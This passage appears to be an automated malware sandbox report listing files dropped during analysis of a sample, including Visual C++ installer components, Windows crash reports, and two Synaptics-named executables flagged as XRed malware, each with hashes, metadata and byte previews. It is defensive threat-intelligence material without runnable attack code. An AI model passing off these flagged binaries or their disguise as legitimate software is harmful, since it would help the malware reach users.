SHA1:	9AB1710A217D15B192188B19467932D947B0A4F8
SHA-256:	222211E8F512EDF97D78BC93E1F271C922D5E91FA899E092B4A096776A704093
SHA-512:	A3A934A8572FF9208D38CF381649BD83DE227C44B735489FD2A9DC5A636EAD9BB62459C9460EE53F61F0587A494877CD3A3C2611997BE563F3137F8236FFC4CA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema".. xmlns="http://schemas.microsoft.com/SetupUI/2008/01/imui".. xmlns:imui="http://schemas.microsoft.com/SetupUI/2008/01/imui".. targetNamespace="http://schemas.microsoft.com/SetupUI/2008/01/imui".. elementFormDefault="qualified"..attributeFormDefault="unqualified"..>.... <xs:annotation>.. <xs:documentation>.. Copyright (c) Microsoft Corporation. All rights reserved... Schema for describing DevDiv "Setup UI Info".. </xs:documentation>.. </xs:annotation>.... <xs:element name="SetupUI">.. <xs:annotation>.. <xs:documentation>specifies UI dll, and lists of MSIs MSPs and EXEs</xs:documentation>.. </xs:annotation>.. <xs:complexType>.. <xs:sequence>.. <xs:choice>.. <xs:element ref="UI" minOccurs="1" maxOccurs="1"></xs:element>.. <xs:element ref="Strings" minOccurs="1" maxOccurs="1"></xs:element>..

C:\36a8a8e2fed651ec27d1eed188bb35\SplashScreen.bmp

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PC bitmap, Windows 3.x format, 200 x 200 x 8, image size 40000, resolution 3779 x 3779 px/m, cbSize 41078, bits offset 1078
Category:	dropped
Size (bytes):	41078
Entropy (8bit):	0.3169962482036715
Encrypted:	false
SSDEEP:	24:SgrNa0EfB4elU+jB+rQXJH4+Cs77hIfVHCv4ToqIzgPc8wcKHL+3:3pa0e4YjB5vAHk4E7zgPcDc53
MD5:	43B254D97B4FB6F9974AD3F935762C55
SHA1:	F94D150C94064893DAED0E5BBD348998CA9D4E62
SHA-256:	91A21EBA9F5E1674919EE3B36EFA99714CFB919491423D888CB56C0F25845969
SHA-512:	46527C88F0AED25D89833B9BE280F5E25FFCEAE6BC0653054C8B6D8EBE34EBA58818A0A02A72BD29279310186AC26D522BBF34191FBDE279A269FC9DA5840ACC
Malicious:	false
Preview:	BMv.......6...(...................@.......................{7...>...h?..D...N...K..........xE..._#..q..T...X...Q...[..._...c...j....>.!....f...v...r...."..v....0....... ..........4..I.........[...}..............j.............................................................................................................i......................@>1.......................................................o...u...u...z...z...~............................................................................................................................................................................{...~.................................................................................................................yw`......................................................................................................................................................//'...........................................

C:\36a8a8e2fed651ec27d1eed188bb35\Strings.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	14246
Entropy (8bit):	3.70170676934679
Encrypted:	false
SSDEEP:	384:VAZo71GHY3vqaqMnYfHHVXIHjfBHwnwXCa+F:VAB
MD5:	332ADF643747297B9BFA9527EAEFE084
SHA1:	670F933D778ECA39938A515A39106551185205E9
SHA-256:	E49545FEEAE22198728AD04236E31E02035AF7CC4D68E10CBECFFD08669CBECA
SHA-512:	BEA95CE35C4C37B4B2E36CC1E81FC297CC4A8E17B93F10423A02B015DDB593064541B5EB7003560FBEEE512ED52869A113A6FB439C1133AF01F884A0DB0344B0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". ..... . . . . . . . . .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.S.t.r.i.n.g.s.>..... . . . .<.!.-.-. .R.e.f.l.e.c.t.i.v.e. .p.r.o.p.e.r.t.y. .p.a.g.e. .-.-.>..... . . . .<.I.D.S._.C.A.P.T.I.O.N._.F.O.R.M.A.T._.1.S.>.#.(.l.o.c...i.d.s._.c.a.p.t.i.o.n._.f.o.r.m.a.t._.1.s.).<./.I.D.S._.C.A.P.T.I.O.N._.F.O.R.M.A.T._.1.S.>..... . . . .<.I.D.S._.I.S._.R.E.A.L.L.Y._.C.A.N.C.E.L.>.#.(.l.o.c...i.d.s._.i.s._.r.e.a.l.l.y._.c.a.n.c.e.l.).<./.I.D.S._.I.S._.R.E.A.L.L.Y._.C.A.N.C.E.L.>......... . . . .<.!.-.-. .S.y.s.t.e.m. .R.e.q.u.i.r.e.m.e.n.t.s. .p.a.g.e. .-.-.>..... . . . .<.S.Y.S.R.E.Q.P.A.G.E._.R.E.Q.U.I.R.E.D._.A.N.D._.A.V.A.I.L.A.B.L.E._.D.I.S.K._.S.P.A.C.E.>.#.(.l.o.c...s.y.s.r.e.q.

C:\36a8a8e2fed651ec27d1eed188bb35\UiInfo.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	36342
Entropy (8bit):	3.0937266645670003
Encrypted:	false
SSDEEP:	768:S4UR0d5v0SguJQvFQXvDINJh6Fmhvk71sO0Nep3UL9Eu+dOtOcOdOjT5fuPkfuS:S4UR0d5v0QYQLIN/6Fmhvk71sO0Nep3q
MD5:	812F8D2E53F076366FA3A214BB4CF558
SHA1:	35AE734CFB99BB139906B5F4E8EFBF950762F6F0
SHA-256:	0D36A884A8381778BEA71F5F9F0FC60CACADEBD3F814679CB13414B8E7DBC283
SHA-512:	1DCC3EF8C390CA49FBCD50C02ACCD8CC5700DB3594428E2129F79FEB81E4CBBEEF1B4A10628B2CD66EDF31A69ED39CA2F4E252AD8AA13D2F793FCA5B9A1EAF23
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.U.I.>......... . . . .<.R.e.s.o.u.r.c.e.D.l.l.>.S.e.t.u.p.R.e.s.o.u.r.c.e.s...d.l.l.<./.R.e.s.o.u.r.c.e.D.l.l.>..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.H.i.d.e./.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>......... . . . .<.L.C.I.D.H.i.n.t.s.>..... . . . . . .<.L.C.I.D.H.i.n.t.>..... . . . . . . . .<.R.e.g.K.e.y.>.H.K.C.U.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.V.i.s.u.a.l.S.t.u.d.i.o.\.9...0.\.G.e.n.e.r.a.l.<./.R.e.g.K.e.y.>..... . . . . . . . .<.R.e.g.V.a.l.u.e.N.a.m.e.>.U.I.L.a.n.g.u.a.g.e._.f.a.k.e.<./.R.e.g.V.a.l.u.e.N.a.m.e.>..... . . . . . .<./.L.C.I.D.H.i.n.t.>..... . . . . . .<.L.C.I.D.H.i.n.t.>..... . . . . .

C:\36a8a8e2fed651ec27d1eed188bb35\header.bmp

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PC bitmap, Windows 3.x format, 49 x 49 x 24, image size 7254, resolution 2834 x 2834 px/m, cbSize 7308, bits offset 54
Category:	dropped
Size (bytes):	7308
Entropy (8bit):	3.7864255453272464
Encrypted:	false
SSDEEP:	48:9L9GXidTgX2bqxIS0SRosEYYgJSIf4pKTg7pDdEAeObh8EWu:R/Y2bq10Q/EY1sK8M4bb
MD5:	3AD1A8C3B96993BCDF45244BE2C00EEF
SHA1:	308F98E199F74A43D325115A8E7072D5F2C6202D
SHA-256:	133B86A4F1C67A159167489FDAEAB765BFA1050C23A7AE6D5C517188FB45F94A
SHA-512:	133442C4A65269F817675ADF01ADCF622E509AA7EC7583BCA8CD9A7EB6018D2AAB56066054F75657038EFB947CD3B3E5DC4FE7F0863C8B3B1770A8FA4FE2E658
Malicious:	false
Preview:	BM........6...(...1...1...........V.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\sqmapi.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144416
Entropy (8bit):	6.7404750879679485
Encrypted:	false
SSDEEP:	3072:uochw/MFWrJjKOMxRSepuBaqn/NlnBh2Lx0JVzx1wWobn1ek8F7HncO5hK9YSHlN:zDFB47UhXBh2yJ5HcOSSSHZqG
MD5:	3F0363B40376047EFF6A9B97D633B750
SHA1:	4EAF6650ECA5CE931EE771181B04263C536A948B
SHA-256:	BD6395A58F55A8B1F4063E813CE7438F695B9B086BB965D8AC44E7A97D35A93C
SHA-512:	537BE86E2F171E0B2B9F462AC7F62C4342BEB5D00B68451228F28677D26A525014758672466AD15ED1FD073BE38142DAE478DF67718908EAE9E6266359E1F9E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................................................................Rich...................PE..L....IE...........!.........$.....................l.........................@......R.....@.........................D.......$...d....................... (... ......P...8............................\..@.......t.......D............................text............................... ..`.data...............................@....rsrc...............................@..@.reloc....... ......................@..Ba.IE8....IEC....IEP....IEZ.....IEe....IEP...........msvcrt.dll.ADVAPI32.dll.ntdll.DLL.USER32.dll.KERNEL32.dll...............................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\vc_red.cab

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Microsoft Cabinet archive data, 4823925 bytes, 19 files, at 0x44 +A "F_CENTRAL_atl100_x64" +A "F_CENTRAL_mfc100_x64", flags 0x4, number 1, extra bytes 20 in head, 439 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	4829869
Entropy (8bit):	7.999861791193514
Encrypted:	true
SSDEEP:	98304:ULaxrwQE3xM5HwcIqZZSPlG9Z27TinTCc/1oQv/ZhU8:UL0rwQEhyHwcIUYSoi+ctf/LU8
MD5:	96253C1D1B54044A8640E9932DFCA0B9
SHA1:	CC7E1D06D63D4A2C6502AD450E3C3B3458EE0A44
SHA-256:	50EEC49FAD75C67968F75E53BA21AEDF22BB11271F5CE8DE37AA48955697C6CE
SHA-512:	82D75BA90E44D74DC94C7D246D5B6594F2F773E9748F235585F05A065F476A4CB690DD2B78BEB5EF8B661F9FE826585B5CCA2B3AA80E7506B8CD2B76D5AD770E
Malicious:	false
Preview:	MSCF....u.I.....D...........................u.I.8...........[.......Hk........r<.L .F_CENTRAL_atl100_x64.H.S.Hk....r<.L .F_CENTRAL_mfc100_x64.P....>V...r<.L .F_CENTRAL_mfc100chs_x64.P.....V...r<.L .F_CENTRAL_mfc100cht_x64.P...0YW...r<.L .F_CENTRAL_mfc100deu_x64.P....TX...r<.L .F_CENTRAL_mfc100enu_x64.P....+Y...r<.L .F_CENTRAL_mfc100esn_x64.P... %Z...r<.L .F_CENTRAL_mfc100fra_x64.P...p [...r<.L .F_CENTRAL_mfc100ita_x64.P.....\...r<.L .F_CENTRAL_mfc100jpn_x64.P.....\...r<.L .F_CENTRAL_mfc100kor_x64.P...`h]...r<.L .F_CENTRAL_mfc100rus_x64.PET..U^...r<.L .F_CENTRAL_mfc100u_x64.Pe........r<.L .F_CENTRAL_mfcm100_x64.Pe..P.....r<.L .F_CENTRAL_mfcm100u_x64.PE...e....r<.L .F_CENTRAL_msvcp100_x64.P.......r<.L .F_CENTRAL_msvcr100_x64.P...@L....r<.L .F_CENTRAL_vcomp100_x64.P....+....s<.6 .FL_msdia71_dll_2_60035_amd64_ln.3643236F_FC70_11D3_A536_0090278A1BB8.@.].J=..[........."..$..N...Z..{..........r.=.C.......@@....Tx...6.....;.a*..a....g.\|.....Y.y....P.........}...m..9{.9...i...ygw[...B.M6

C:\36a8a8e2fed651ec27d1eed188bb35\vc_red.msi

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.0, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Visual C++ 2010 x64 Redistributable, Author: Microsoft Corporation, Keywords: Installer, Comments: This installer database contains the logic and data required to install Microsoft Visual C++ 2010 x64 Redistributable - 10.0.30319., Template: x64;0, Revision Number: {4DB491B7-9632-4543-AC91-D4B80F6DBE17}, Create Time/Date: Fri Mar 19 15:50:42 2010, Last Saved Time/Date: Fri Mar 19 15:50:42 2010, Number of Pages: 200, Name of Creating Application: Windows Installer XML (3.5.0626.0), Security: 2, Number of Words: 2
Category:	dropped
Size (bytes):	168960
Entropy (8bit):	6.262629898297588
Encrypted:	false
SSDEEP:	3072:POTbkSoT5jvtXSH/+rzTPe9oPxM5DNmHWVcqelSxbfS695:mTwSoT5jdSGP2f5hB
MD5:	93BB8E3E96A206B39175345111D452E2
SHA1:	3D4D02D0240E2651E14947772498C1AF73EDFBC8
SHA-256:	392710654BDC1DAAD76240584ED3C375D7C42821D8CB8B38867F9A13DB72392B
SHA-512:	B7C77F793379A1E55818E66D7C205508E25AB08D93029D29FA7E6886D6C0942BB914479D6BD4039CC48CC2F34A55E6D6888266166E540F919F5218DC4AF9F302
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\36a8a8e2fed651ec27d1eed188bb35\watermark.bmp

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 628 x 24, image size 308978, resolution 2834 x 2834 px/m, cbSize 309032, bits offset 54
Category:	dropped
Size (bytes):	309032
Entropy (8bit):	6.583379857106919
Encrypted:	false
SSDEEP:	3072:yUDLmozgtuVYKKKvwUbKh5+/uWLspp2e1jSaMsb1bIZU0g0WQbO//QGVYBtGKQgc:yUDLmozvygKjzbIGgBZBkUfDfc
MD5:	1A5CAAFACFC8C7766E404D019249CF67
SHA1:	35D4878DB63059A0F25899F4BE00B41F430389BF
SHA-256:	2E87D5742413254DB10F7BD0762B6CDB98FF9C46CA9ACDDFD9B1C2E5418638F2
SHA-512:	202C13DED002D234117F08B18CA80D603246E6A166E18BA422E30D394ADA7E47153DD3CCE9728AFFE97128FDD797FE6302C74DC6882317E2BA254C8A6DB80F46
Malicious:	false
Preview:	BM(.......6...(.......t.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_ace1313b643a5d083434cea8e6428dfa37df048_455b7b6e_39cf2af4-b331-442c-a8a9-dcfabfc5bc2a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1333234482831043
Encrypted:	false
SSDEEP:	192:wbZfVpsKuImE0jM3ODzJDzqjLOA/FcdsJzuiF4fZ24IO8EKDzy:sDy9FjM3OJqjkCzuiF4fY4IO8zy
MD5:	F011288B63207603C2F3F33D7E149CC6
SHA1:	9BC6879E4BA8BD3936015FD3B5247795547CD82E
SHA-256:	184FB7C64FAE6155596D469E17CEC7D58E047EECDEF95E374ACFE325DF513618
SHA-512:	0311395D3E0769213B8C1999B764E987E14969DA4A6881786F9E05D68E4ACC6E789B75E81A05973F70EAA797C5D9CBFC1519B253694012E657523286D62B0DE0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.3.1.9.8.1.6.0.1.4.0.8.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.3.1.9.8.2.5.7.6.4.1.0.0.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.c.f.2.a.f.4.-.b.3.3.1.-.4.4.2.c.-.a.8.a.9.-.d.c.f.a.b.f.c.5.b.c.2.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.4.b.0.7.e.2.9.-.3.f.e.2.-.4.6.a.b.-.8.f.7.3.-.b.4.e.f.b.0.e.9.f.f.0.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.2.0.-.0.0.0.1.-.0.0.1.4.-.4.d.9.d.-.0.c.a.4.4.c.5.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.b.4.8.6.0.3.f.6.a.1.d.f.f.a.b.2.f.f.4.5.8.7.8.0.0.2.5.f.6.a.3.c.2.e.5.2.3.c.3.c.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE93.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 2 19:30:18 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	4397728
Entropy (8bit):	2.112151211997434
Encrypted:	false
SSDEEP:	12288:Rjkp0smAHcy7eMZBC+X3BQGjYD0D377jA:Rkp60tBCGxBjq03A
MD5:	47151B610E6F89ADB45B36CF02DB03DB
SHA1:	A019871C4A5D51973740D789B175911DC9FE66B4
SHA-256:	A60DD86CE69AAD0D268DE87930CDD1A24233B8C4F34C5305C2CD008A653FEE32
SHA-512:	211CD8126C01F9CB1B31E849B816113EFE6ABB50A78EB47DFFC83C1727B11A734ED8CABD0EB4356F0FBBC40593D51859271DA545680E63FFA2FB6CD88331C718
Malicious:	false
Preview:	MDMP..a..... .......J.vg............tG...............N......$...0n......D..............`.......8...........T.................A.........Tn..........@p..............................................................................eJ.......p......GenuineIntel............T....... .....vg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE362.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6304
Entropy (8bit):	3.717267783398188
Encrypted:	false
SSDEEP:	192:R6l7wVeJCxO69uUqYiSqSgpD089borsfc4m:R6lXJr6WYSpowfS
MD5:	DF92C9DE6A56DC17D45D1976BDA8E2DA
SHA1:	497D7FE74755030F7B151BA2E2CE2C7148FD21B2
SHA-256:	1999BA8B265A446808BB523D4EB39E83693C8A9946F2C2532C3B810C7D7110C3
SHA-512:	E5F9C282A899AD0C7CA3398203C228614544AE0975EFABD311190B4405D9463C47D3982353A05ECF1CD026E307B1121D4470EB902677CAE8AE541DCCE9C37F0E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE392.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.4452273796332165
Encrypted:	false
SSDEEP:	48:cvIwWl8zs+Jg77aI9ADWpW8VY3AYm8M4JFWFy+q84s5OuZid:uIjf0I76y7VQJzwOuZid
MD5:	23AAFD0C7B65A384C4C34EEF933BCE6C
SHA1:	F840873AF00437994615BA9DAB0C75CDCA0405EC
SHA-256:	93739F6F675B0D64EA4E276028ED19C266696FF836707466CF1BFEEA1DF01435
SHA-512:	4B2F918AA1A44CB71C4E0E6054E61ABF8DD2EEADE64814515AD79C6789C3248FCE7D333BEFC7562D076CFE6A1E844ECBAA89596286B9706D24E865518ABB6081
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="658713" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCX3CE.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.6264053582391735
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IIr:ansJ39LyjbJkQFMhmC+6GD9j
MD5:	7407C51DD7AC30C4D79658D991A8B5D6
SHA1:	B48603F6A1DFFAB2FF458780025F6A3C2E523C3C
SHA-256:	1316730BBC50851C02F53254F9C57B99AF50A07BB0776332D1480BABD626F39A
SHA-512:	38334452808E5D203B287E2F4A47B8F5BBCE1ED18FABCFA4A61B8C04429150DFBFFE2241323B3C87D90ABBABBED49A5CEA584CC1CE83BF519BB728E1D6AC18EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCX3CE.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCX3CE.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 94%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6490624
Entropy (8bit):	7.9488402694147355
Encrypted:	false
SSDEEP:	196608:jLb7wqheSVYK/bua/BlWWnuVhsus8nm+q42:j/8qgSmIbr/Asb8nmFD
MD5:	E819C37952E89FF0F473FA9B59CD771D
SHA1:	DE2A344ED3A2B1F4E0FBD4E684170DB56903763E
SHA-256:	05F954E37982086A48A222726B8134FBEF0CAA78DBE1B66A3D4479B712D12012
SHA-512:	1E3EFF7391308A5161B75AB47EF29178A53CE08693C63FD08F5F1443CEEED87C3B4D3779265D669A91AF0192EB556913BCBF77B825678580E44FCEEB3C76D148
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................jY...................@..........................pc..................@..............................B.......`X..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc....`X......bX.................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\2YpZVzV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
